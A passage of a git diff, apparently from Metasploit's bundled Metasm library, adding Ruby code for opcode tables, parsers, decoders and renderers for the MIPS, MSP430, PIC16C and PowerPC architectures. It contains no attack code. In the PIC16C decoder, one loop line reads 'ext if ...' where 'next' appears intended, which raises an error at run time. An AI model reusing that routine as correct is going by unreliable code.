0b001010, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'floor.l', type, 0b001011, 'fd, fs', :ft_zero + + macro_addop_cop1_precision 'recip', type, 0b010101, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'rsqrt', type, 0b010110, 'fd, fs', :ft_zero + + macro_addop_cop1_precision 'cvt.l', type, 0b100101, 'fd, fs', :ft_zero + end + macro_addop_cop1_precision 'cvt.ps', :cop1_s, 0b100110, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'cvt.s', :cop1_l, 0b100000, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'cvt.d', :cop1_l, 0b100000, 'fd, fs', :ft_zero + + macro_addop_cop1_precision 'add', :cop1_ps, 0b000000, 'fd, fs, ft' + macro_addop_cop1_precision 'sub', :cop1_ps, 0b000001, 'fd, fs, ft' + macro_addop_cop1_precision 'mul', :cop1_ps, 0b000010, 'fd, fs, ft' + macro_addop_cop1_precision 'abs', :cop1_ps, 0b000101, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'mov', :cop1_ps, 0b000110, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'neg', :cop1_ps, 0b000111, 'fd, fs', :ft_zero + + macro_addop_cop1_precision 'movz', :cop1_ps, 0b010010, 'fd, fs, ft' + macro_addop_cop1_precision 'movn', :cop1_ps, 0b010011, 'fd, fs, ft' + + addop "movf.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] + addop "movt.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] + + %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| + addop "c.#{cond}.ps", :cop1_cond, 0b110000+index, 'cc, fs, ft', + [ :ft, :fs, :cc ] + + # TODO: COP1X + + [ :special3, :bshfl, :cop1_l, :cop1_ps ].each \ + { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } + end + + end + + # Reset all instructions + def reset + metaprops_allowed.clear + args_allowed.clear + props_allowed.clear + fields_spec.clear + opcode_list.clear + end + +end + # Array containing all the supported opcodes + attr_accessor :opcode_list + + init_mips32 +end + +end diff --git a/lib/metasm/metasm/cpu/mips/parse.rb b/lib/metasm/metasm/cpu/mips/parse.rb new file mode 100644 index 0000000000..e7daeac27b --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/parse.rb @@ -0,0 +1,51 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/mips/opcodes' +require 'metasm/parse' + +module Metasm +class MIPS + def parse_arg_valid?(op, sym, arg) + # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) + case sym + when :rs, :rt, :rd; arg.kind_of? Reg + when :sa, :i16, :i20, :i26; arg.kind_of? Expression + when :rs_i16; arg.kind_of? Memref + when :ft; arg.kind_of? FpReg + else raise "internal error: mips arg #{sym.inspect}" + end + end + + def parse_argument(pgm) + pgm.skip_space + return if not tok = pgm.nexttok + if tok.type == :string and Reg.s_to_i[tok.raw] + pgm.readtok + arg = Reg.new Reg.s_to_i[tok.raw] + elsif tok.type == :string and FpReg.s_to_i[tok.raw] + pgm.readtok + arg = FpReg.new FpReg.s_to_i[tok.raw] + else + arg = Expression.parse pgm + pgm.skip_space + # check memory indirection: 'off(base reg)' # XXX scaled index ? + if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' + pgm.readtok + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] + base = Reg.new Reg.s_to_i[ntok.raw] + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' + arg = Memref.new base, arg + end + end + arg + end +end +end diff --git a/lib/metasm/metasm/cpu/mips/render.rb b/lib/metasm/metasm/cpu/mips/render.rb new file mode 100644 index 0000000000..31ad15a331 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/render.rb @@ -0,0 +1,43 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/mips/opcodes' +require 'metasm/render' + +module Metasm +class MIPS + class Reg + include Renderable + def render ; [self.class.i_to_s[@i]] end + end + class FpReg + include Renderable + def render ; [self.class.i_to_s[@i]] end + end + class Memref + include Renderable + def render ; [@offset, '(', @base, ')'] end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + if (a = i.args.first).kind_of? Expression and a.op == :- and a.lexpr.kind_of? String and a.rexpr.kind_of? String and opcode_list_byname[i.opname].first.props[:setip] + # jmp foo is stored as jmp foo - bar ; bar: + r << a.lexpr + else + i.args.each { |a_| + r << a_ << ', ' + } + r.pop + end + end + r + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430.rb b/lib/metasm/metasm/cpu/msp430.rb new file mode 100644 index 0000000000..78e89bcd8d --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/msp430/decode' diff --git a/lib/metasm/metasm/cpu/msp430/decode.rb b/lib/metasm/metasm/cpu/msp430/decode.rb new file mode 100644 index 0000000000..2eb694243d --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/decode.rb @@ -0,0 +1,247 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/msp430/opcodes' +require 'metasm/decode' + +module Metasm +class MSP430 + def build_opcode_bin_mask(op) + op.bin_mask = 0 + op.fields.each_key { |f| + op.bin_mask |= @fields_mask[f] << @fields_shift[f] + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = (op.bin >> 8) & 255 + msk = (op.bin_mask >> 8) & 255 + + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin } + di if di.opcode + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = edata.decode_imm(:u16, @endianness) + + field_val = lambda{ |f| + (val >> @fields_shift[f]) & @fields_mask[f] + } + + # must decode rs first + vals = {} + ([:rs, :rd, :r_pc] & op.args).each { |a| + mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a] + mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad + + if a == :r_pc + r = Reg.new(0) + else + r = Reg.new(field_val[a]) + end + + w = op.props[:byte] ? 1 : 2 + + case field_val[mod] + when 0 + if r.i == 3 and a == :rs + vals[a] = Expression[0] + else + vals[a] = r + end + when 1 + if r.i == 3 and a == :rs + vals[a] = Expression[1] + else + imm = edata.decode_imm(:u16, @endianness) + r = nil if r.i == 2 # [imm] + vals[a] = Memref.new(r, imm, w) + end + when 2 + if r.i == 3 + vals[a] = Expression[2] + elsif r.i == 2 + vals[a] = Expression[4] + else + vals[a] = Memref.new(r, 0, w) + end + when 3 + if r.i == 3 + vals[a] = Expression[-1] + elsif r.i == 2 + vals[a] = Expression[8] + elsif r.i == 0 # pc++ + # XXX order wrt other edata.decode_imm ? + vals[a] = Expression[edata.decode_imm(:u16, @endianness)] + else + vals[a] = Memref.new(r, 0, w, true) + end + end + } + + op.args.each { |a| + di.instruction.args << case a + when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)] + when :rs, :rd, :r_pc; vals[a] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.opcode.name =~ /^j/ + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.map { |ol| ol.name }.uniq.each { |op| + @backtrace_binding[op] ||= case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }} + when 'cmp', 'test'; lambda { |di, *a| {} } # TODO + when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } + when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } + when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } } + when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } } + when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } } + when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0], + :sp => Expression[:sp, :-, 2] } } + when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr], + :sp => Expression[:sp, :-, 2] } } + when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]], + :sp => Expression[:sp, :+, 2] } } + when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } } + when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } } + when /^j/; lambda { |di, a0| {} } + end + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = binding[di, *a] || {} + di.instruction.args.grep(Memref).each { |m| + next unless r = m.base and m.postincr + r = m.base.symbolic + bd[r] ||= Expression[r, :+, m.size] + } + bd + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + case di.instruction.opname + when 'ret' + return [Indirection[:sp, 2, di.address]] + when 'reti' + return [Indirection[[:sp, :+, 2], 2, di.address]] + end + + # XXX add pc, 42 ? + val = di.instruction.args[0] + case val + when Reg; val = val.symbolic + when Memref; val = val.symbolic(di.address) + end + + [Expression[val]] + end + + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430/main.rb b/lib/metasm/metasm/cpu/msp430/main.rb new file mode 100644 index 0000000000..fba9fa6689 --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/main.rb @@ -0,0 +1,62 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm + +class MSP430 < CPU + def initialize(e = :little) + super() + @endianness = e + @size = 16 + end + + class Reg + include Renderable + Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym } + + attr_accessor :i + def initialize(i) ; @i = i end + def symbolic ; Sym[@i] end + def render ; [Sym[@i].to_s] end + def ==(o) ; o.class == self.class and o.i == @i end + end + + class Memref + attr_accessor :base, :offset, :size, :postincr + + def initialize(base, offset = 0, size = nil, postincr = false) + @base = base + @offset = Expression[offset] + @size = size + @postincr = postincr + end + + def symbolic(orig=nil) + r = @base.symbolic if @base + e = Expression[r, :+, @offset].reduce + Indirection[e, (@size || 1), orig] + end + + include Renderable + + def render + b = @base + b = @base.to_s + '++' if @base and @postincr + p = Expression[b, :+, @offset].reduce + Indirection[p, @size].render + end + end + + def init_opcode_list + init + end + + def dbg_register_list + @dbg_register_list ||= Reg::Sym.sort.transpose.last + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430/opcodes.rb b/lib/metasm/metasm/cpu/msp430/opcodes.rb new file mode 100644 index 0000000000..a8825db93e --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/opcodes.rb @@ -0,0 +1,101 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/msp430/main' + +module Metasm +class MSP430 + def addop(name, bin, *args) + o = Opcode.new name, bin + + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + + @opcode_list << o + end + + def init + @opcode_list = [] + + @fields_mask = { + :as => 3, # adressing mode + :ad => 1, # adressing mode + :rd => 0xf, + :rs => 0xf, + :joff => 0x3ff, # signed offset for jumps + } + @fields_shift = { + :as => 4, + :ad => 7, + :rd => 0, + :rs => 8, + :joff => 0, + } + @valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true } + @valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true } + + # https://en.wikipedia.org/wiki/TI_MSP430 + + addop_macro1 'rrc', 0, :byte + addop_macro1 'swpb', 1 + addop_macro1 'rra', 2, :byte + addop_macro1 'sxt', 3 + addop_macro1 'push', 4, :byte + addop_macro1 'call', 5, :setip, :stopexec, :saveip + + addop 'reti', 0b000100_110_0000000 + + addop_macro2 'jnz', 0 + addop_macro2 'jz', 1 + addop_macro2 'jnc', 2 + addop_macro2 'jc', 3 + addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ? + addop_macro2 'jge', 5 + addop_macro2 'jl', 6 + addop_macro2 'jmp', 7, :stopexec + + addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++] + addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++] + + addop_macro3 'mov', 4 + addop_macro3 'add', 5 + addop_macro3 'adc', 6 # 'addc' + addop_macro3 'sbc', 7 + addop_macro3 'sub', 8 + addop_macro3 'cmp', 9 + addop_macro3 'dadd',10 # decimal add with carry + addop_macro3 'test',11 # 'bit' + addop_macro3 'andn',12 # 'bic' + addop_macro3 'or', 13 # 'bis' + addop_macro3 'xor', 14 + addop_macro3 'and', 15 + end + + def addop_macro1(name, bin, *props) + if props.delete :byte + addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props + else + addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props + end + end + + def addop_macro2(name, bin, *props) + addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props + end + + def addop_macro3(name, bin, *props) + addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc + addop_byte name, (bin << 12), :rd, :ad, :as, :rs + end + + def addop_byte(name, bin, *props) + addop name, bin, *props + addop name + '.b', bin | (1 << 6), :byte, *props + end +end +end diff --git a/lib/metasm/metasm/cpu/pic16c/decode.rb b/lib/metasm/metasm/cpu/pic16c/decode.rb new file mode 100644 index 0000000000..9c8ccfb1e1 --- /dev/null +++ b/lib/metasm/metasm/cpu/pic16c/decode.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/pic16c/opcodes' +require 'metasm/decode' + +module Metasm +class Pic16c + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = Array.new(op.bin.length, 0) + op.fields.each { |f, (oct, off)| + op.bin_mask[oct] |= (@fields_mask[f] << off) + } + op.bin_mask.map! { |v| 255 ^ v } + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + @opcode_list.each { |op| + + build_opcode_bin_mask op + + b = op.bin[0] + msk = op.bin_mask[0] + + for i in b..(b | (255^msk)) + ext if i & msk != b & msk + + lookaside[i] << op + end + } + lookaside + end +end +end diff --git a/lib/metasm/metasm/pic16c/main.rb b/lib/metasm/metasm/cpu/pic16c/main.rb similarity index 100% rename from lib/metasm/metasm/pic16c/main.rb rename to lib/metasm/metasm/cpu/pic16c/main.rb diff --git a/lib/metasm/metasm/cpu/pic16c/opcodes.rb b/lib/metasm/metasm/cpu/pic16c/opcodes.rb new file mode 100644 index 0000000000..3112af715f --- /dev/null +++ b/lib/metasm/metasm/cpu/pic16c/opcodes.rb @@ -0,0 +1,68 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/pic16c/main' + +module Metasm +class Pic16c + def addop(name, bin, *l) + o = Opcode.new name, bin + l.each { |ll| + if @props_allowed[ll] + o.props[ll] = true + else + o.args << ll + o.fields[ll] = @fields_off[ll] + end + } + @opcode_list << o + end + + def init + @fields_mask = {:f => 0x7f, :b => 0x7, :k => 0xff, :klong => 0x3ff, :d => 1 } + @props_allowed = {:setip => true, :saveip => true, :stopexec => true } + @fields_off = { :f => 0, :b => 7, :k => 0, :klong => 0, :d => 7, :d => 7 } + + addop 'addwf', 0b00_0111_0000_0000, :f, :d + addop 'andwf', 0b00_0101_0000_0000, :f, :d + addop 'clrf', 0b00_0001_1000_0000, :f + addop 'clrw', 0b00_0001_0000_0000 # 00_0001_0xxx_xxxx + addop 'comf', 0b00_1001_0000_0000, :f, :d + addop 'decf', 0b00_0011_0000_0000, :f, :d + addop 'decfsz',0b00_1011_0000_0000, :f, :d + addop 'incf', 0b00_1010_0000_0000, :f, :d + addop 'incfsz',0b00_1111_0000_0000, :f, :d + addop 'iorwf', 0b00_0100_0000_0000, :f, :d + addop 'movf', 0b00_1000_0000_0000, :f, :d + addop 'movwf', 0b00_0000_1000_0000, :f + addop 'nop', 0b00_0000_0000_0000 # 00_0000_0xx0_0000 + addop 'rlf', 0b00_1101_0000_0000, :f, :d + addop 'rrf', 0b00_1100_0000_0000, :f, :d + addop 'subwf', 0b00_0010_0000_0000, :f, :d + addop 'swapf', 0b00_1110_0000_0000, :f, :d + addop 'xorwf', 0b00_0110_0000_0000, :f, :d + + addop 'bcf', 0b01_0000_0000_0000, :f, :b + addop 'bsf', 0b01_0100_0000_0000, :f, :b + addop 'btfsc', 0b01_1000_0000_0000, :f, :b, :setip + addop 'btfss', 0b01_1100_0000_0000, :f, :b, :setip + + addop 'addlw', 0b11_1110_0000_0000, :k # 00_000x_0000_0000 + addop 'andlw', 0b11_1001_0000_0000, :k + addop 'call', 0b10_0000_0000_0000, :klong, :setip, :stopexec, :saveip + addop 'clrwdt',0b00_0000_0110_0100 + addop 'goto', 0b10_1000_0000_0000, :klong, :setip, :stopexec + addop 'iorlw', 0b11_1000_0000_0000, :k + addop 'movlw', 0b11_0000_0000_0000, :k # 00_00xx_0000_0000 + addop 'retfie',0b00_0000_0000_1001, :setip, :stopexec + addop 'retlw', 0b11_0100_0000_0000, :k, :setip, :stopexec # 00_00xx_0000_0000 + addop 'return',0b00_0000_0000_1000, :setip, :stopexec + addop 'sleep', 0b00_0000_0110_0011 + addop 'sublw', 0b11_1100_0000_0000, :k # 00_000x_0000_0000 + addop 'xorlw', 0b11_1010_0000_0000, :k + end +end +end diff --git a/lib/metasm/metasm/cpu/ppc.rb b/lib/metasm/metasm/cpu/ppc.rb new file mode 100644 index 0000000000..16f77e59a8 --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc.rb @@ -0,0 +1,11 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/ppc/parse' +require 'metasm/cpu/ppc/encode' +require 'metasm/cpu/ppc/decode' +require 'metasm/cpu/ppc/decompile' diff --git a/lib/metasm/metasm/cpu/ppc/decode.rb b/lib/metasm/metasm/cpu/ppc/decode.rb new file mode 100644 index 0000000000..923c15265c --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/decode.rb @@ -0,0 +1,270 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/opcodes' +require 'metasm/decode' + +module Metasm +class PowerPC + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + return if not op.bin.kind_of? Integer + op.bin_mask = 0 + op.fields.each { |k, (m, s)| + op.bin_mask |= m << s + } + op.bin_mask = 0xffff_ffff ^ op.bin_mask + end + + def build_bin_lookaside + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + next if not op.bin.kind_of? Integer + build_opcode_bin_mask op + + b = op.bin >> 24 + msk = op.bin_mask >> 24 + + for i in b..(b | (255^msk)) + next if i & msk != b & msk + lookaside[i] << op + end + } + lookaside + end + + def decode_findopcode(edata) + return if edata.ptr+4 > edata.length + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u32, @endianness) + edata.ptr -= 4 + di if di.opcode = @bin_lookaside[val >> 24].find { |op| + (op.bin & op.bin_mask) == (val & op.bin_mask) + } + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = edata.decode_imm(:u32, @endianness) + + field_val = lambda { |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + when :bd, :d, :ds, :dq, :si, :ui; r = Expression.make_signed(r<<@fields_shift[f], 16) + when :li; r = Expression.make_signed(r<<@fields_shift[f], 26) + else r + end + } + + op.args.each { |a| + di.instruction.args << case a + when :ra, :rb, :rs, :rt; GPR.new field_val[a] + when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a] + when :ra_i16, :ra_i16s, :ra_i16q + i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]] + Memref.new GPR.new(field_val[:ra]), Expression[i] + when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; Expression[field_val[a]] + when :ba, :bf, :bfa, :bt; CR.new field_val[a] + when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to + puts "PPC.decode: unsupported argument #{a.inspect}" if $VERBOSE # TODO + Expression[field_val[a]] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + decode_aliases(di.instruction) + + di + end + + def decode_aliases(i) + case i.opname + when /^n?or\.?$/ + if i.args[1] == i.args[2] + i.args.pop + i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] + end + when /^addi/ + if a = i.args[2].reduce and a.kind_of? Integer and a < 0 + i.args[2] = Expression[-a] + i.opname = i.opname.sub('addi', 'subi') + end + end + + case i.opname + when /^(add|sub|xor|and|or|div|mul|nand)/ + if i.args.length == 3 and i.args[0] == i.args[1] + i.args.shift + end + end + + end + + # converts relative branch offsets to absolute addresses + # else just add the offset +off+ of the instruction + its length (off may be an Expression) + # assumes edata.ptr points just after the instruction (as decode_instr_op left it) + # do not call twice on the same di ! + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a + arg = Expression[addr, :+, di.instruction.args.last].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + # TODO + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + retaddrlist.to_a.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } + b = f.backtrace_binding + + bt_val = lambda { |r| + bt = [] + retaddrlist.to_a.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, + :include_start => true, :snapshot_addr => faddr, :origin => retaddr) + } + b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) + } + wantregs = GPR::Sym if wantregs.empty? + wantregs.map { |r| r.to_sym }.each(&bt_val) + + #puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE + end + + def backtrace_is_function_return(expr, di=nil) + expr.reduce_rec == :lr + end + + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include? :sp + end + + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset.kind_of? Expression + a + else a + end + } + end + + def disassembler_default_func + df = DecodedFunction.new + df.backtrace_binding = (0..31).inject({}) { |h, r| r != 1 ? h.update("r#{r}".to_sym => Expression::Unknown) : h } + df.backtracked_for = [BacktraceTrace.new(Expression[:lr], :default, Expression[:lr], :x)] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else [] + end + } + df + end + + # hash opname => lambda { |di, *sym_args| binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + def init_backtrace_binding + @backtrace_binding ||= {} + opcode_list.map { |ol| ol.name }.uniq.each { |op| + binding = case op + when 'mr', 'li', 'la'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'lis'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } + when 'mtctr'; lambda { |di, a0| { :ctr => Expression[a0] } } + when 'mfctr'; lambda { |di, a0| { a0 => Expression[:ctr] } } + when 'mtlr'; lambda { |di, a0| { :lr => Expression[a0] } } + when 'mflr'; lambda { |di, a0| { a0 => Expression[:lr] } } + when 'lwzu'; lambda { |di, a0, m| + ret = { a0 => Expression[m] } + ptr = m.pointer.externals.grep(Symbol).first + ret[ptr] = m.pointer if ptr != a0 + ret + } + when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } } + when 'stwu'; lambda { |di, a0, m| + { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer } + } + when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } } + when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me| + mb, me = mb.reduce, me.reduce + cpmsk = (1<<@size) - 1 + a1 = Expression[a1, :&, cpmsk] + rol = Expression[[a1, :<<, sh], :|, [a1, :>>, [@size, :-, sh]]] + if mb == me+1 + msk = cpmsk + elsif mb < me+1 + msk = (((1 << ((me+1)-mb)) - 1) << (@size-(me+1))) + else + msk = (((1 << (mb-(me+1))) - 1) << (@size-mb)) ^ cpmsk + end + { a0 => Expression[Expression[rol, :&, msk].reduce] } + } + + when 'add', 'addi', 'add.', 'addi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, a[-1]] } } + when 'addis', 'addis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, [a[-1], :<<, 16]] } } + when 'sub', 'subi', 'sub.', 'subi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, a[-1]] } } + when 'subis', 'subis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, [a[-1], :<<, 16]] } } + when /^b.*la?$/; lambda { |di, *a| { :lr => Expression[di.next_addr] } } + when 'nop', /^cmp/, /^b/; lambda { |di, *a| {} } + end + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref; arg.symbolic(di.address) + when Reg; arg.symbolic + else arg + end + } + + binding = if binding = backtrace_binding[di.instruction.opname] + binding[di, *a] + else + puts "unknown instruction to emu #{di}" if $VERBOSE + {} + end + + binding + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.instruction.opname + when 'bctr', 'bctrl'; :ctr + when 'blr', 'blrl'; :lr + else di.instruction.args.last + end + + [Expression[ + case arg + when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] + when Reg; arg.to_s.to_sym + else arg + end]] + end +end +end diff --git a/lib/metasm/metasm/cpu/ppc/decompile.rb b/lib/metasm/metasm/cpu/ppc/decompile.rb new file mode 100644 index 0000000000..c042903e29 --- /dev/null +++ 